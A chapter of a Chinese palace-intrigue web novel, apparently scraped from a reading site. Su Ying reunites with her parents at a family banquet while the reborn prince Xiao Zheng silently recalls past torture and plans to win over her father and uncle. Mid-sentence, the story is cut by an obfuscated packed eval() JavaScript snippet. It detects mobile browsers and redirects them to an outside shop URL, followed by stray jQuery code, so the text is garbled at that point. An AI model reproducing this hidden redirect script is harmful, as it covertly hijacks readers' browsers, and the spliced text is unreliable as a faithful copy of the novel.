默认冷灰
24号文字
方正启体

20. “你爹就是这样。”

作者:小桃无赖Julia本书字数:K更新时间:
    晚上是家宴,规模更小,只设在皇后的玉栖宫里。


    菜品不过如常。萧弘德是从不在苏予夺面前摆阔的。他能拿得出的好东西,保不齐都是从苏予夺手里过了一过的。


    依苏萦看,什么都和她进宫那日一样,设宴的地点,参宴的人。结果也会是一样,爹娘走了,把她独自扔在宫里。


    本以为长大了,就不会在意这些,看到母亲的一瞬间,眼眶还是红了。


    “娘!”她扑过去搂紧母亲的胳膊,依偎在母亲肩膀上。


    “未晚,大姑娘了,还跟你娘撒娇呢!”舅母打趣她。


    舅母越说,苏萦越是笑着把脑袋往母亲颈窝里拱。母亲也轻轻侧过头抚摸她的脸颊,触感那样别致而又熟悉,是母亲手掌上常年持枪握剑的茧。


    母亲和舅母都是习武的。四十几岁的人了,还身姿挺拔,双目炯炯,话音中气十足。舅母修长高挑,母亲的身形较她矮了一截子。可苏萦此刻搂着的,也是一条健壮结实的手臂,让她心里莫名地踏实。


    “未晚也是大了,小时候,一见面总要先哭一场,现在也不了。”舅母看着她们母女俩亲昵,欣慰一笑。


    “才十四岁,怎么大了,我们未晚小着呢,正是该跟娘撒娇的年纪呢。”母亲把她拢进怀里,轻轻地拍着晃着,缱绻地呢喃。


    “你我才认识的时候,我多大?”舅母皱着眉头想了一刻,双眼一亮:“正是十四岁。那时候,舅母胆子可大了,敢跟你娘翘课逃学,偷跑出宫去玩。咱们未晚,还没出过宫呢吧?”


    苏萦朝留在外间的萧征身上溜了一眼,小眼珠咕噜咕噜乱转,小小声地答:“没有。”


    “像她爹爹,爱骗人。”母亲明察秋毫,嗔怪地斜了她一眼,在她额头上戳了一指头。苏萦很心虚地做了个鬼脸,嘴上却还不服:“我才不像爹爹!”


    “真的,咱们未晚胆子也这么大?”舅母更向前探了探,眼中闪过顽皮得意的神色:“不愧是我采生的,就是像我。”


    “还好意思说呢!”母亲挖了舅母一眼,两手捂住苏萦的耳朵佯怒:“未晚,别听你舅母胡说啊,把我们好好儿的姑娘教坏了!”


    苏萦歪在母亲怀里咯咯笑。


    萧征坐在外间等候,此刻很有些尴尬,里间女眷们的嬉笑打闹声听得分明。母后去卧房里更衣,父皇和萧庆也不知何时能到,眼前两位朝中重臣,见了礼,落了座,便都一言不发。


    “永宁王真是出落得一表人才啊。”嘉裕侯突然赞许地开口,转向魏国公:“大哥,你说是不是?”


    “苏侯谬赞了。”萧征俯首,诚惶诚恐。


    乔国公瞪了他一眼,紧抿的嘴唇全没有张开的意思。两人目光相触,萧征不着痕迹地避过眼去。


    这是只茹毛饮血的猛虎,任何生灵在他面前都要俯首乞怜,求老天别让自己成为他锁定的猎物。


    魏国公此人,官拜从一品步军统领,总管京师卫戍、门禁、缉捕,当年还在做步军校时就有“鬼头判官”的诨名,传闻在他的严刑拷打下,没有不开口的人,只有再也开不了口的人。


    传言断不可信,但萧征亲身体验过,所以深以为然。当年他举兵夺位前,一封休书让苏萦下堂,兵败后,乔国公为了帮外甥女泄愤,在他身上用了不知多少种酷刑。接连半月,他的意识在极度痛苦和一片混沌中无穷无尽地切换,浑身上下没有一块好皮,骨头不知断了几处。


    舅舅,留他性命!


    他的命,最后是苏萦的一句话救下的。


    她才不肯让他死,她要他活着,好让她能看着他越活越糟。好让他好好受着离弃她的报应。


    他的指尖几不可查地一颤,但他随即便将这股生理性的战栗生生压了下去。后背顷刻间出了一层白毛汗,他强迫自己调整好表情,维持着从容端坐的姿态。


    “哟,永宁王,着凉了吧?”嘉裕侯悠悠地开口,一双狐狸眼睛笑眯眯的。


    什么都逃不过他前世岳丈的眼。


    有人讽他是老鼠成精。他的鼻子能闻到人情绪的味道。


    苏萦说,这世上没有我爹爹弄不来的东西。


    他上辈子不以为然,因此跌了个大跟头。


    这世上同样没有苏侯打听不来的情报。


    夺位前夕,游说拉拢蠢蠢欲动的各方势力合纵瓦解他的部署,苏侯功不可没。


    商人目光短浅,只重眼前利益,他后来才顿悟这话有失偏颇。


    秦国丞相吕不韦,一开始也不过是个眼光毒辣的商人。


    今生,我要让这二人,为我所用。


    他在心中暗下决心,面上却适时露出一丝被长辈突然关怀时恰到好处的窘迫,低声道:“谢苏侯关怀,并无大碍。”


    怎么回事,这小子身体不好?乔国公焦急又疑惑地瞥了苏侯一眼。


    无妨无妨,大哥稍安勿躁。苏侯云淡风轻地回了他一个安抚的眼神。


    房内舅甥母女,情真意切,聊得火热;房外三个男人,暗流涌动,一言不发。


    步皇后不紧不慢地从内室走出,已重新梳妆,更显雍容。她的目光扫过在场众人,微笑道:“宴席的时辰快到了,诸位随本宫一同前往花厅吧。”


    众人齐声应下,随皇后移步至设宴的花厅。在宫人的引导下,众人依次入席,于各自的席位后肃立等候。


    萧庆来晚了,气喘吁吁地跑进来,一屁股就要坐在萧征边上,被他扯着胳膊拎了起来。


    不多时,殿外传来内侍清越的通传声:“陛下驾到——!”


    如同听到号令,席上众人立刻整理衣袍,垂首躬身,姿态恭谨。


    皇帝萧弘德身着常服,在宫人的簇拥下缓步走入花厅,虽面带病容,但目光落处,威仪自成。他在主位前站定,低声道:“平身落座吧。今日是家宴,不必过于拘礼。”


    “谢陛下。”众人这才直起身,依照次序悄然入座。


    苏萦在母亲身边坐下,偷偷朝身旁一瞥。方才还温柔可亲的母亲,此刻已是背脊挺拔、神色端肃的点星大将军;而刚还嬉笑逗趣的舅母,亦摆出一副目光沉静、仪态万方的国公夫人样子。


    苏萦见状,也不自觉地跟着挺了挺腰板,心中莫名地骄傲:


    华容郡主的仪态,也不差哦!


    她父亲同她一样,坐在席位的最下头。两人只隔着一条过道,她也故意不跟他目光相触。


    “未晚!”她父亲轻声唤。


    苏萦无奈抬头,见父亲正朝她


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16799170|190662||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    使眼色,献宝似的示意她掀开碗里的饭看看。


    她看左右没人注意,轻轻用筷子头把米饭挑起,里面盖着一只色泽深褐、肉质肥厚饱满的溏心鲍鱼,在米饭的热气中散发着独特的醇香。


    她心领神会,朝父亲一笑。父亲惯常使的小把戏,总爱把最好的东西藏起来单独给她。


    她父亲也朝她咧嘴一笑,又露出那颗上不得台面的金牙。她觉得丢脸,又低下头去。却忍不住用筷子悄悄戳了戳那软糯弹牙的鲍肉,心底泛起一丝暖意。


    她想偷偷告诉母亲,拉拉母亲的衣袖,神神秘秘地向母亲展示。母亲茫然地转过头,浑然不觉有什么特别的,侧过自己的碗来给她看,也有一只一模一样的鲍鱼,已咬了一口,吃剩一半。


    “都有的,你吃吧。”母亲不疑有他,还顺手帮苏萦理了理鬓角。


    “只有咱们两个有!”苏萦小声说,语气带着点分享秘密的急切。


    “唔?”母亲这才抬头,朝自己丈夫的方向望去,苏侯果然正朝母女俩眉飞色舞。她这才飞快地扫视了一圈席上其他人的碗盏,确认完毕,重新转向女儿,用一种理所当然,不值得大惊小怪的语气轻声说:“有就有呗,你爹就是这样。快吃,凉了腥气。”


    散了席,天色已晚,萧征送苏萦回宫。


    “心情不错?”萧征望向苏萦挂着笑容的小脸,欣慰地点点头:“看来今日过来是对的?”


    苏萦被戳破心思,有点别扭地顾左右而言他:“香粉和信,我刚交给我爹了。”说完快走两步,想甩开被看穿的窘迫。


    “我娘刚才告诉我,”苏萦想了想,还是转过身来,眼中亮晶晶的:“陛下有差事交给我爹去办,他们这阵子会留在京城,不回秀州了。皇后娘娘说,可以常让他们进宫来看我。”


    “有还哥哥,”苏萦这才坦然地笑出来:“我好开心。”


    萧征看着她毫无阴霾的笑容,心中百感交集,一种欣慰和感慨油然而生,不禁轻叹一声感慨道:“父母在,人生尚有来处。你能承欢膝下,是天大的福分,要懂得珍惜啊。”


    “哥哥,你一说话听起来好老。”苏萦嫌弃地皱起小脸儿,像看怪物一样看着他。


    萧征一怔,五旬老魂露出马脚,尴尬地舔了舔嘴唇又清清嗓子:“…咳咳,这不是,是见你开心,心中感慨。你年纪尚小,不知世间‘树欲静而风不止’的遗憾……”


    “这句更老了!”苏萦毫不客气地打断他,甚至夸张地后退了半步,用小手在鼻子前扇了扇风:“怎么回事,我好像都闻到老人味儿了。”


    “啊!有还哥哥,你脸上是什么!”苏萦忽然惊恐地捂着嘴指向他的脸,吓得跳了一下。


    “啊?我脸上——”萧征连忙朝脸上摸了两把,诧异道:“我脸上有什么?”


    “你长出胡子来了!好长!还在长,垂到地上去了!”苏萦的指尖一路向下,煞有其事地大呼小叫。


    “…苏萦!”萧征这才领悟,气急败坏地紧追上去:“臭丫头,耍我是吧?”


    “哈哈哈哈…”苏萦得意地大笑着连忙朝前逃去,边跑还边嘲笑:“哥哥像个老山羊!”


    宫灯映着红墙,照着一双小儿女嬉笑的身影,逐渐消失在路尽头。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)